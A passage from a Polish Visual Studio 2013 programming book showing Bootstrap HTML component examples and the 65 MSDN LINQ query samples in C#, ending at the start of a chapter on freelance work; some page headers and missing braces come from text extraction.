<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media
queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/
html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<h1>Hello, world!</h1>

<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->


<script src="https://ajax.googleapis.com/ajax/libs/jquery/
1.11.1/jquery.min.js"></script>
<!-- Include all compiled plugins (below), or include individual files as
needed -->
<script src="js/bootstrap.min.js"></script>
</body>
</html>

5.1.2. Cytat blokowy


<blockquote>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat
a ante.</p>
</blockquote>

Rysunek 5.6. Cytat blokowy w Bootstrap

5.1.3. Kod inline


For example, <code>&lt;section&gt;</code> should be wrapped as inline.

Rysunek 5.7.
Kod inline w Bootstrap

5.1.4. Wejście z klawiatury


To switch directories, type <kbd>cd</kbd> followed by the name of the
directory.<br>
To edit settings, press <kbd><kbd>ctrl</kbd> + <kbd>,</kbd></kbd>
Rozdział 5.  Aplikacje internetowe ASP.NET MVC 147

Rysunek 5.8.
Wejście z klawiatury w Bootstrap

5.1.5. Blok kodu


<pre>&lt;p&gt;Sample text here...&lt;/p&gt;</pre>

Rysunek 5.9. Blok kodu w Bootstrap

5.1.6. Tabela z podświetlanymi wierszami


<table class="table table-hover">
...
</table>

Rysunek 5.10.
Tabela w Bootstrap

5.1.7. Prosty formularz


<form>
<div class="form-group">
<label for="exampleInputEmail1">Email address</label>
<input type="email" class="form-control" id="exampleInputEmail1"
placeholder="Enter email">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Password</label>
<input type="password" class="form-control" id="exampleInputPassword1"
placeholder="Password">
</div>
<div class="form-group">
<label for="exampleInputFile">File input</label>
<input type="file" id="exampleInputFile">
<p class="help-block">Example block-level help text here.</p>
</div>
<div class="checkbox">
<label>
<input type="checkbox"> Check me out
</label>
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
148 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Rysunek 5.11.
Prosty formularz
w Bootstrap

5.1.8. Przyciski
<a class="btn btn-default" href="#" role="button">Link</a>
<button class="btn btn-default" type="submit">Button</button>
<input class="btn btn-default" type="button" value="Input">
<input class="btn btn-default" type="submit" value="Submit">

Rysunek 5.12.
Różne rodzaje
przycisków w Bootstrap
<!-- Standard button -->
<button type="button" class="btn btn-default">Default</button>

<!-- Provides extra visual weight and identifies the primary action in a set of
buttons -->
<button type="button" class="btn btn-primary">Primary</button>

<!-- Indicates a successful or positive action -->


<button type="button" class="btn btn-success">Success</button>

<!-- Contextual button for informational alert messages -->


<button type="button" class="btn btn-info">Info</button>

<!-- Indicates caution should be taken with this action -->


<button type="button" class="btn btn-warning">Warning</button>

<!-- Indicates a dangerous or potentially negative action -->


<button type="button" class="btn btn-danger">Danger</button>

<!-- Deemphasize a button by making it look like a link while maintaining button
behavior -->
<button type="button" class="btn btn-link">Link</button>

Rysunek 5.13.
Różne style przycisków
w Bootstrap
Rozdział 5.  Aplikacje internetowe ASP.NET MVC 149

5.1.9. Obrazki i miniatury


<img src="..." alt="..." class="img-rounded">
<img src="..." alt="..." class="img-circle">
<img src="..." alt="..." class="img-thumbnail">

Rysunek 5.14.
Kształty obrazków
w Bootstrap

5.1.10. Stronicowanie
<nav>
<ul class="pagination">
<li>
<a href="#" aria-label="Previous">
<span aria-hidden="true">&laquo;</span>
</a>
</li>
<li><a href="#">1</a></li>
<li><a href="#">2</a></li>
<li><a href="#">3</a></li>
<li><a href="#">4</a></li>
<li><a href="#">5</a></li>
<li>
<a href="#" aria-label="Next">
<span aria-hidden="true">&raquo;</span>
</a>
</li>
</ul>
</nav>

Rysunek 5.15.
Stronicowanie w Bootstrap

5.1.11. Etykiety
<h3>Example heading <span class="label label-default">New</span></h3>
<span class="label label-default">Default</span>
<span class="label label-primary">Primary</span>
<span class="label label-success">Success</span>
<span class="label label-info">Info</span>
<span class="label label-warning">Warning</span>
<span class="label label-danger">Danger</span>
150 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Rysunek 5.16.
Etykiety w Bootstrap

5.1.12. Odznaki (ang. badges)


<a href="#">Inbox <span class="badge">42</span></a>

<button class="btn btn-primary" type="button">


Messages <span class="badge">4</span>
</button>

Rysunek 5.17.
Odznaki (ang. badges)
w Bootstrap

5.1.13. Jumbotron
<div class="jumbotron">
<h1>Hello, world!</h1>
<p>...</p>
<p><a class="btn btn-primary btn-lg" href="#" role="button">Learn more</a></p>
</div>

Rysunek 5.18.
Komponent Jumbotron
w Bootstrap

5.1.14. Powiadomienia
<div class="alert alert-success" role="alert">...</div>
<div class="alert alert-info" role="alert">...</div>
<div class="alert alert-warning" role="alert">...</div>
<div class="alert alert-danger" role="alert">...</div>
Rozdział 5.  Aplikacje internetowe ASP.NET MVC 151

Rysunek 5.19.
Powiadomienia
w Bootstrap

5.1.15. Pasek postępu


<div class="progress">
<div class="progress-bar progress-bar-success progress-bar-striped"
role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100"
style="width: 40%">
<span class="sr-only">40% Complete (success)</span>
</div>
</div>
<div class="progress">
<div class="progress-bar progress-bar-info progress-bar-striped"
role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100"
style="width: 20%">
<span class="sr-only">20% Complete</span>
</div>
</div>
<div class="progress">
<div class="progress-bar progress-bar-warning progress-bar-striped"
role="progressbar" aria-valuenow="60" aria-valuemin="0" aria-valuemax="100"
style="width: 60%">
<span class="sr-only">60% Complete (warning)</span>
</div>
</div>
<div class="progress">
<div class="progress-bar progress-bar-danger progress-bar-striped"
role="progressbar" aria-valuenow="80" aria-valuemin="0" aria-valuemax="100"
style="width: 80%">
<span class="sr-only">80% Complete (danger)</span>
</div>
</div>

Rysunek 5.20.
Paski postępu
w Bootstrap
152 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

5.1.16. Panel
<div class="panel panel-primary">
<div class="panel-heading">
<h3 class="panel-title">Panel title</h3>
</div>
<div class="panel-body">
Panel content
</div>
</div>

Rysunek 5.21.
Panel w Bootstrap

Kolor panelu można ustawić, zmieniając panel-primary odpowiednio na:


 panel-success (kolor jasnozielony),
 panel-info (kolor jasnoniebieski),
 panel-warning (kolor jasnopomarańczowy),
 panel-danger (kolor czerwony).

Powyższe rodzaje paneli przedstawia rysunek 5.22.

Rysunek 5.22.
Różne rodzaje paneli
w Bootstrap
Rozdział 6.
LINQ
Technologia LINQ pozwala na tworzenie zapytań na obiektach. Budowę LINQ
przedstawia rysunek 6.1.

Rysunek 6.1.
Architektura LINQ.

Zapytania LINQ mogą mieć dwa rodzaje zapisu:


1. Składnia zapytaniowa:
from str in strings where str.Length==3 select str;

2. Standardowa notacja z użyciem kropki:


stringList.Where(s => s.Length == 3).Select(s=>s);

Zasada działania LINQ jest bardzo podobna do opisywanego wcześniej języka zapytań
SQL, tyle że operacje są wykonywane na obiektach.

Przykładowo jeśli chcemy pobrać liczby mniejsze niż 4, to piszemy:


nums.Where(i => i < 4).OrderBy(i => i);
154 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

6.1. 65 przykładów LINQ


Poniższe przykłady pochodzą ze strony MSDN i są na licencji Microsoft Public License.

6.1.1. Restrykcja
Wyszukiwanie elementów tablicy mniejszych niż 5.
public void Linq1()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };

var lowNums =
from n in numbers
where n < 5
select n;

Console.WriteLine("Numbers < 5:");


foreach (var x in lowNums)
{
Console.WriteLine(x);
}
}

Wyszukiwanie produktów, których nie ma na stanie.


public void Linq2()
{
List<Product> products = GetProductList();

var soldOutProducts =
from p in products
where p.UnitsInStock == 0
select p;

Console.WriteLine("Sold out products:");


foreach (var product in soldOutProducts)
{
Console.WriteLine("{0} is sold out!", product.ProductName);
}
}

Wyszukiwanie produktów, które są na stanie i kosztują więcej niż 3.00.


public void Linq3()
{
List<Product> products = GetProductList();

var expensiveInStockProducts =
from p in products
where p.UnitsInStock > 0 && p.UnitPrice > 3.00M
select p;

Console.WriteLine("In-stock products that cost more than 3.00:");


Rozdział 6.  LINQ 155

foreach (var product in expensiveInStockProducts)


{
Console.WriteLine("{0} is in stock and costs more than 3.00.",
product.ProductName);
}
}

Wyszukiwanie wszystkich klientów z Waszyngtonu, a następnie pobranie ich zamówień.


public void Linq4()
{
List<Customer> customers = GetCustomerList();

var waCustomers =
from c in customers
where c.Region == "WA"
select c;

Console.WriteLine("Customers from Washington and their orders:");


foreach (var customer in waCustomers)
{
Console.WriteLine("Customer {0}: {1}", customer.CustomerID,
customer.CompanyName);
foreach (var order in customer.Orders)
{
Console.WriteLine(" Order {0}: {1}", order.OrderID, order.OrderDate);
}
}
}

Wyszukiwanie liczb, których nazwa jest krótsza od ich wartości.


public void Linq5()
{
string[] digits = { "zero", "one", "two", "three", "four", "five", "six",
"seven", "eight", "nine" };

var shortDigits = digits.Where((digit, index) => digit.Length < index);

Console.WriteLine("Short digits:");
foreach (var d in shortDigits)
{
Console.WriteLine("The word {0} is shorter than its value.", d);
}
}

6.1.2. Projekcja
Utworzenie sekwencji liczb o jeden większych od tych w tablicy.
public void Linq6()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };

var numsPlusOne =
from n in numbers
select n + 1;
156 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Console.WriteLine("Numbers + 1:");
foreach (var i in numsPlusOne)
{
Console.WriteLine(i);
}
}

Pobieranie nazw produktów z listy wszystkich produktów.


public void Linq7()
{
List<Product> products = GetProductList();

var productNames =
from p in products
select p.ProductName;

Console.WriteLine("Product Names:");
foreach (var productName in productNames)
{
Console.WriteLine(productName);
}
}

Wyświetlenie tekstowych nazw liczb z sekwencji.


public void Linq8()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };
string[] strings = { "zero", "one", "two", "three", "four", "five", "six",
"seven", "eight", "nine" };

var textNums =
from n in numbers
select strings[n];

Console.WriteLine("Number strings:");
foreach (var s in textNums)
{
Console.WriteLine(s);
}
}

Utworzenie napisów w tablicy w wersji z dużymi i małymi literami.


public void Linq9()
{
string[] words = { "aPPLE", "BlUeBeRrY", "cHeRry" };

var upperLowerWords =
from w in words
select new { Upper = w.ToUpper(), Lower = w.ToLower() };

foreach (var ul in upperLowerWords)


{
Console.WriteLine("Uppercase: {0}, Lowercase: {1}", ul.Upper, ul.Lower);
}
}
Rozdział 6.  LINQ 157

Utworzenie tekstowej reprezentacji cyfr, których długość jest parzysta lub nieparzysta.
public void Linq10()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };
string[] strings = { "zero", "one", "two", "three", "four", "five", "six",
"seven", "eight", "nine" };

var digitOddEvens =
from n in numbers
select new { Digit = strings[n], Even = (n % 2 == 0) };

foreach (var d in digitOddEvens)


{
Console.WriteLine("The digit {0} is {1}.", d.Digit, d.Even ? "even" : "odd");
}
}

Wyświetlenie właściwości produktów ze zmianą nazwy z UnitPrice na Price.


public void Linq11()
{
List<Product> products = GetProductList();

var productInfos =
from p in products
select new { p.ProductName, p.Category, Price = p.UnitPrice };

Console.WriteLine("Product Info:");
foreach (var productInfo in productInfos)
{
Console.WriteLine("{0} is in the category {1} and costs {2} per unit.",
productInfo.ProductName, productInfo.Category, productInfo.Price);
}
}

Sprawdzenie, czy wartość liczby zgadza się z jej pozycją w tablicy.


public void Linq12()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };

var numsInPlace = numbers.Select((num, index) => new { Num = num, InPlace =


(num == index) });

Console.WriteLine("Number: In-place?");
foreach (var n in numsInPlace)
{
Console.WriteLine("{0}: {1}", n.Num, n.InPlace);
}
}

Wyświetlenie formy tekstowej każdej liczby mniejszej niż 5.


public void Linq13()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };
158 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

string[] digits = { "zero", "one", "two", "three", "four", "five", "six",


"seven", "eight", "nine" };

var lowNums =
from n in numbers
where n < 5
select digits[n];

Console.WriteLine("Numbers < 5:");


foreach (var num in lowNums)
{
Console.WriteLine(num);
}
}

Wyświetlenie liczb z dwóch tablic, takich, by liczba z pierwszej tablicy była mniejsza
od liczby z drugiej tablicy.
public void Linq14()
{
int[] numbersA = { 0, 2, 4, 5, 6, 8, 9 };
int[] numbersB = { 1, 3, 5, 7, 8 };

var pairs =
from a in numbersA
from b in numbersB
where a < b
select new { a, b };

Console.WriteLine("Pairs where a < b:");


foreach (var pair in pairs)
{
Console.WriteLine("{0} is less than {1}", pair.a, pair.b);
}
}

Wyświetlenie zamówień, których wartość jest mniejsza niż 500.


public void Linq15()
{
List<Customer> customers = GetCustomerList();

var orders =
from c in customers
from o in c.Orders
where o.Total < 500.00M
select new { c.CustomerID, o.OrderID, o.Total };

ObjectDumper.Write(orders);
}

Wyświetlenie zamówień złożonych w roku 1998 lub później.


public void Linq16()
{
List<Customer> customers = GetCustomerList();

var orders =
Rozdział 6.  LINQ 159

from c in customers
from o in c.Orders
where o.OrderDate >= new DateTime(1998, 1, 1)
select new { c.CustomerID, o.OrderID, o.OrderDate };

ObjectDumper.Write(orders);
}

Wyświetlenie zamówień o wartości większej niż 2000.


public void Linq17()
{
List<Customer> customers = GetCustomerList();

var orders =
from c in customers
from o in c.Orders
where o.Total >= 2000.0M
select new { c.CustomerID, o.OrderID, o.Total };

ObjectDumper.Write(orders);
}

6.1.3. Dzielenie
Pobieranie trzech pierwszych elementów z tablicy.
public void Linq18()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };

var first3Numbers = numbers.Take(3);

Console.WriteLine("First 3 numbers:");

foreach (var n in first3Numbers)


{

Console.WriteLine(n);

}
}

Pobieranie trzech pierwszych zamówień klientów z Waszyngtonu.


public void Linq19()
{
List<Customer> customers = GetCustomerList();

var first3WAOrders = (

from c in customers
160 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

from o in c.Orders

where c.Region == "WA"

select new { c.CustomerID, o.OrderID, o.OrderDate })

.Take(3);

Console.WriteLine("First 3 orders in WA:");

foreach (var order in first3WAOrders)


{
ObjectDumper.Write(order);
}
}

Pobieranie elementów tablicy z pominięciem czterech pierwszych elementów.


public void Linq20()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };

var allButFirst4Numbers = numbers.Skip(4);

Console.WriteLine("All but first 4 numbers:");

foreach (var n in allButFirst4Numbers)


{
Console.WriteLine(n);
}

Pobieranie elementów, dopóki nie trafimy na element większy niż 6.


public void Linq21()
{

int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };

var firstNumbersLessThan6 = numbers.TakeWhile(n => n < 6);

Console.WriteLine("First numbers less than 6:");

foreach (var n in firstNumbersLessThan6)


{
Console.WriteLine(n);
}

}
Rozdział 6.  LINQ 161

Pobieranie elementów, które nie są mniejsze niż ich pozycja w tablicy.


public void Linq22()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };

var firstSmallNumbers = numbers.TakeWhile((n, index) => n >= index);

Console.WriteLine("First numbers not less than their position:");

foreach (var n in firstSmallNumbers)


{
Console.WriteLine(n);
}
}

Pobieranie elementów, począwszy od pierwszego, który jest podzielny przez 3.


public void Linq23()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };

var allButFirst3Numbers = numbers.SkipWhile(n => n % 3 != 0);

Console.WriteLine("All elements starting from first element divisible by 3:");

foreach (var n in allButFirst3Numbers)


{
Console.WriteLine(n);
}

6.1.4. Kolejność
Sortowanie słów według kolejności alfabetycznej.
public void Linq24()
{
string[] words = { "cherry", "apple", "blueberry" };

var sortedWords =
from w in words
orderby w
select w;

Console.WriteLine("The sorted list of words:");


foreach (var w in sortedWords)
{
Console.WriteLine(w);
}
}
162 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Sortowanie słów według ich długości.


public void Linq25()
{
string[] words = { "cherry", "apple", "blueberry" };

var sortedWords =
from w in words
orderby w.Length
select w;

Console.WriteLine("The sorted list of words (by length):");


foreach (var w in sortedWords)
{
Console.WriteLine(w);
}
}

Sortowanie produktów po nazwie.


public void Linq26()
{
List<Product> products = GetProductList();

var sortedProducts =
from p in products
orderby p.ProductName
select p;

ObjectDumper.Write(sortedProducts);
}

Sortowanie słów alfabetycznie z użyciem własnego porównywania.


public void Linq27()
{
string[] words = { "aPPLE", "AbAcUs", "bRaNcH", "BlUeBeRrY", "ClOvEr", "cHeRry"
};

var sortedWords = words.OrderBy(a => a, new CaseInsensitiveComparer());

ObjectDumper.Write(sortedWords);
}

public class CaseInsensitiveComparer : IComparer<string>


{
public int Compare(string x, string y)
{
return string.Compare(x, y, StringComparison.OrdinalIgnoreCase);
}
}

Sortowanie liczb double od największych do najmniejszych.


public void Linq28()
{
double[] doubles = { 1.7, 2.3, 1.9, 4.1, 2.9 };
Rozdział 6.  LINQ 163

var sortedDoubles =
from d in doubles
orderby d descending
select d;

Console.WriteLine("The doubles from highest to lowest:");


foreach (var d in sortedDoubles)
{
Console.WriteLine(d);
}
}

Sortowanie produktów, począwszy od tych, których jest najwięcej na stanie.


public void Linq29()
{
List<Product> products = GetProductList();

var sortedProducts =
from p in products
orderby p.UnitsInStock descending
select p;

ObjectDumper.Write(sortedProducts);
}

Sortowanie słów w kolejności odwrotnej do alfabetycznej.


public void Linq30()
{
string[] words = { "aPPLE", "AbAcUs", "bRaNcH", "BlUeBeRrY", "ClOvEr", "cHeRry"
};

var sortedWords = words.OrderByDescending(a => a, new


CaseInsensitiveComparer());

ObjectDumper.Write(sortedWords);
}

public class CaseInsensitiveComparer : IComparer<string>


{
public int Compare(string x, string y)
{
return string.Compare(x, y, StringComparison.OrdinalIgnoreCase);
}
}

Sortowanie cyfr najpierw według długości ich nazw, a potem alfabetycznie.


public void Linq31()
{
string[] digits = { "zero", "one", "two", "three", "four", "five", "six",
"seven", "eight", "nine" };

var sortedDigits =
from d in digits
orderby d.Length, d
select d;
164 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Console.WriteLine("Sorted digits:");
foreach (var d in sortedDigits)
{
Console.WriteLine(d);
}
}

Wyświetlenie liczb, których druga litera to „i” w kolejności odwrotnej, niż były zapisane.
public void Linq32()
{
string[] digits = { "zero", "one", "two", "three", "four", "five", "six",
"seven", "eight", "nine" };

var reversedIDigits = (
from d in digits
where d[1] == 'i'
select d)
.Reverse();

Console.WriteLine("A backwards list of the digits with a second character


of 'i':");
foreach (var d in reversedIDigits)
{
Console.WriteLine(d);
}
}

6.1.5. Grupowanie
Grupowanie słów według ich pierwszej litery.
public void Linq33()
{
string[] words = { "blueberry", "chimpanzee", "abacus", "banana", "apple",
"cheese" };

var wordGroups =
from w in words
group w by w[0] into g
select new { FirstLetter = g.Key, Words = g };

foreach (var g in wordGroups)


{
Console.WriteLine("Words that start with the letter '{0}':", g.FirstLetter);
foreach (var w in g.Words)
{
Console.WriteLine(w);
}
}
}
Rozdział 6.  LINQ 165

6.1.6. Zestawy
Usuwanie duplikatów z tablicy czynników liczby 300.
public void Linq34()
{
int[] factorsOf300 = { 2, 2, 3, 5, 5 };

var uniqueFactors = factorsOf300.Distinct();

Console.WriteLine("Prime factors of 300:");


foreach (var f in uniqueFactors)
{
Console.WriteLine(f);
}
}

Wyświetlenie jednej sekwencji unikalnych wartości z dwóch tablic.


public void Linq35()
{
int[] numbersA = { 0, 2, 4, 5, 6, 8, 9 };
int[] numbersB = { 1, 3, 5, 7, 8 };

var uniqueNumbers = numbersA.Union(numbersB);

Console.WriteLine("Unique numbers from both arrays:");


foreach (var n in uniqueNumbers)
{
Console.WriteLine(n);
}
}

Utworzenie sekwencji liczb, które występują w jednej i drugiej tablicy.


public void Linq36()
{
int[] numbersA = { 0, 2, 4, 5, 6, 8, 9 };
int[] numbersB = { 1, 3, 5, 7, 8 };

var commonNumbers = numbersA.Intersect(numbersB);

Console.WriteLine("Common numbers shared by both arrays:");


foreach (var n in commonNumbers)
{
Console.WriteLine(n);
}
}

Pobieranie elementów z pierwszej tablicy, ale tylko tych, których nie ma drugiej tablicy.
public void Linq37()
{
int[] numbersA = { 0, 2, 4, 5, 6, 8, 9 };
int[] numbersB = { 1, 3, 5, 7, 8 };

IEnumerable<int> aOnlyNumbers = numbersA.Except(numbersB);


166 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Console.WriteLine("Numbers in first array but not second array:");


foreach (var n in aOnlyNumbers)
{
Console.WriteLine(n);
}
}

6.1.7. Konwersje
Utworzenie tablicy z sekwencji elementów za pomocą ToArray.
public void Linq38()
{
double[] doubles = { 1.7, 2.3, 1.9, 4.1, 2.9 };

var sortedDoubles =
from d in doubles
orderby d descending
select d;
var doublesArray = sortedDoubles.ToArray();
}

Utworzenie listy z sekwencji elementów.


public void Linq39()
{
string[] words = { "cherry", "apple", "blueberry" };

var sortedWords =
from w in words
orderby w
select w;
var wordList = sortedWords.ToList();

Console.WriteLine("The sorted word list:");


foreach (var w in wordList)
{
Console.WriteLine(w);
}
}

Utworzenie słownika z sekwencji elementów.


public void Linq40()
{
var scoreRecords = new[] { new {Name = "Alice", Score = 50},
new {Name = "Bob" , Score = 40},
new {Name = "Cathy", Score = 45}
};

var scoreRecordsDict = scoreRecords.ToDictionary(sr => sr.Name);

Console.WriteLine("Bob's score: {0}", scoreRecordsDict["Bob"]);


}
Rozdział 6.  LINQ 167

Pobranie z tablicy tylko elementów typu double.


public void Linq41()
{
object[] numbers = { null, 1.0, "two", 3, "four", 5, "six", 7.0 };

var doubles = numbers.OfType<double>();

Console.WriteLine("Numbers stored as doubles:");


foreach (var d in doubles)
{
Console.WriteLine(d);
}
}

6.1.8. Operacje elementarne


Pobranie pierwszego pasującego elementu jako produktu zamiast pobrania sekwencji
zawierającej ten produkt.
public void Linq42()
{
List<Product> products = GetProductList();

Product product12 = (
from p in products
where p.ProductID == 12
select p)
.First();

ObjectDumper.Write(product12);
}

Pobranie z tablicy pierwszego elementu, który rozpoczyna się na literę „o”.


public void Linq43()
{
string[] strings = { "zero", "one", "two", "three", "four", "five", "six",
"seven", "eight", "nine" };

string startsWithO = strings.First(s => s[0] == 'o');

Console.WriteLine("A string starting with 'o': {0}", startsWithO);


}

Pobranie pierwszego elementu sekwencji, a jeśli nie ma żadnych elementów, to


zwrócenie wartości domyślnej dla tego typu.
public void Linq44()
{
int[] numbers = { };

int firstNumOrDefault = numbers.FirstOrDefault();

Console.WriteLine(firstNumOrDefault);
}
168 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Pobranie z tablicy drugiego elementu, który jest większy niż 5.


public void Linq45()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };

int fourthLowNum = (
from n in numbers
where n > 5
select n)
.ElementAt(1); //second number is index 1 because sequences use 0-based indexing

Console.WriteLine("Second number > 5: {0}", fourthLowNum);


}

6.1.9. Operatory generowania


Wygenerowanie sekwencji liczb od 100 do 149 i sprawdzenie, które liczby są parzyste.
public void Linq46()
{
var numbers =
from n in Enumerable.Range(100, 50)

select new { Number = n, OddEven = n % 2 == 1 ? "odd" : "even" };

foreach (var n in numbers)


{
Console.WriteLine("The number {0} is {1}.", n.Number, n.OddEven);
}
}

Wygenerowanie sekwencji, która zawiera liczbę 7 dziesięć razy.


public void Linq47()
{
var numbers = Enumerable.Repeat(7, 10);

foreach (var n in numbers)


{
Console.WriteLine(n);
}
}

6.1.10. Kwantyfikatory
Sprawdzenie, czy w sekwencji jest słowo, które zawiera w sobie znaki „ei”.
public void Linq48()
{
string[] words = { "believe", "relief", "receipt", "field" };

bool iAfterE = words.Any(w => w.Contains("ei"));


Rozdział 6.  LINQ 169

Console.WriteLine("There is a word that contains in the list that contains


'ei': {0}", iAfterE);
}

Sprawdzenie, czy tablica zawiera tylko liczby nieparzyste.


public void Linq49()
{
int[] numbers = { 1, 11, 3, 19, 41, 65, 19 };

bool onlyOdd = numbers.All(n => n % 2 == 1);

Console.WriteLine("The list contains only odd numbers: {0}", onlyOdd);


}

6.1.11. Operatory agregacji


Pobranie ilości unikalnych czynników liczby 300.
public void Linq50()
{
int[] factorsOf300 = { 2, 2, 3, 5, 5 };

int uniqueFactors = factorsOf300.Distinct().Count();

Console.WriteLine("There are {0} unique factors of 300.", uniqueFactors);


}

Pobranie ilości liczb nieparzystych w tablicy.


public void Linq51()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };

int oddNumbers = numbers.Count(n => n % 2 == 1);

Console.WriteLine("There are {0} odd numbers in the list.", oddNumbers);


}

Pobranie klientów oraz ilości ich zamówień.


public void Linq52()
{
List<Customer> customers = GetCustomerList();

var orderCounts =
from c in customers
select new { c.CustomerID, OrderCount = c.Orders.Count() };

ObjectDumper.Write(orderCounts);
}

Pobranie kategorii oraz ilości produktów w każdej z nich.


public void Linq53()
{
List<Product> products = GetProductList();
170 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

var categoryCounts =
from p in products
group p by p.Category into g
select new { Category = g.Key, ProductCount = g.Count() };

ObjectDumper.Write(categoryCounts
}

Sumowanie elementów w sekwencji.


public void Linq54()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };

double numSum = numbers.Sum();

Console.WriteLine("The sum of the numbers is {0}.", numSum);


}

Sumowanie ilości znaków wszystkich słów w tablicy.


public void Linq55()
{
string[] words = { "cherry", "apple", "blueberry" };

double totalChars = words.Sum(w => w.Length);

Console.WriteLine("There are a total of {0} characters in these words.",


totalChars);
}

Pobranie najmniejszej liczby z tablicy.


public void Linq56()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };

int minNum = numbers.Min();

Console.WriteLine("The minimum number is {0}.", minNum);


}

Pobranie długości najkrótszego słowa w sekwencji.


public void Linq57()
{
string[] words = { "cherry", "apple", "blueberry" };

int shortestWord = words.Min(w => w.Length);

Console.WriteLine("The shortest word is {0} characters long.", shortestWord);


}

Pobranie największej liczby z tablicy.


public void Linq58()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };
Rozdział 6.  LINQ 171

int maxNum = numbers.Max();

Console.WriteLine("The maximum number is {0}.", maxNum);


}

Pobranie ilości znaków najdłuższego słowa w tablicy.


public void Linq59()
{
string[] words = { "cherry", "apple", "blueberry" };

int longestLength = words.Max(w => w.Length);

Console.WriteLine("The longest word is {0} characters long.", longestLength);


}

Pobranie średniej wartości z liczb w tablicy.


public void Linq60()
{
int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };

double averageNum = numbers.Average();

Console.WriteLine("The average number is {0}.", averageNum);


}

Pobranie średniej długości słów w tablicy.


public void Linq61()
{
string[] words = { "cherry", "apple", "blueberry" };

double averageLength = words.Average(w => w.Length);

Console.WriteLine("The average word length is {0} characters.", averageLength);


}

6.1.12. Różne
Doklejenie drugiej tablicy do pierwszej i utworzenie jednej sekwencji.
public void Linq62()
{
int[] numbersA = { 0, 2, 4, 5, 6, 8, 9 };
int[] numbersB = { 1, 3, 5, 7, 8 };

var allNumbers = numbersA.Concat(numbersB);

Console.WriteLine("All numbers from both arrays:");


foreach (var n in allNumbers)
{
Console.WriteLine(n);
}
}
172 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Sprawdzenie, czy sekwencje są takie same.


public void Linq63()
{
var wordsA = new string[] { "cherry", "apple", "blueberry" };
var wordsB = new string[] { "cherry", "apple", "blueberry" };

bool match = wordsA.SequenceEqual(wordsB);

Console.WriteLine("The sequences match: {0}", match);


}

6.1.13. Łączenia (ang. join)


Połączenie dwóch sekwencji (produktów i ich kategorii), a następnie wyświetlenie
produktów i kategorii, do jakiej należą.
public void Linq64()
{

string[] categories = new string[]{


"Beverages",
"Condiments",
"Vegetables",
"Dairy Products",
"Seafood" };

List<Product> products = GetProductList();

var q =
from c in categories
join p in products on c equals p.Category
select new { Category = c, p.ProductName };

foreach (var v in q)
{
Console.WriteLine(v.ProductName + ": " + v.Category);
}
}

Połączenie produktów i kategorii; tyle że tym razem wyświetlenie najpierw kategorii,


a potem należących do niej produktów.
public void Linq65()
{
string[] categories = new string[]{
"Beverages",
"Condiments",
"Vegetables",
"Dairy Products",
"Seafood" };

List<Product> products = GetProductList();

var q =
from c in categories
Rozdział 6.  LINQ 173

join p in products on c equals p.Category into ps


select new { Category = c, Products = ps };

foreach (var v in q)
{
Console.WriteLine(v.Category + ":");
foreach (var p in v.Products)
{
Console.WriteLine(" " + p.ProductName);
}
}
}
174 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Rozdział 7.
Zarabianie
jako wolny strzelec
Ta książka przedstawia jedynie podstawy programowania w języku C# za pomocą
darmowego środowiska Visual Studio Express. Dobrą wiadomością jest, że środowi-
ska Express można bez problemów i bez opłat używać do tworzenia komercyjnych
aplikacji. Oznacza to, że masz prawo sprzedawać stworzone za jego pomocą aplikacje.
Za chwilę podam kilka pomysłów, jak można zarabiać w ten sposób samodzielnie,
bez zatrudniania się jako programista w jakiejś firmie. Jest wiele osób, które potrafią
programować, ale ze względu na naukę czy inne uwarunkowania nie mogą podjąć etato-
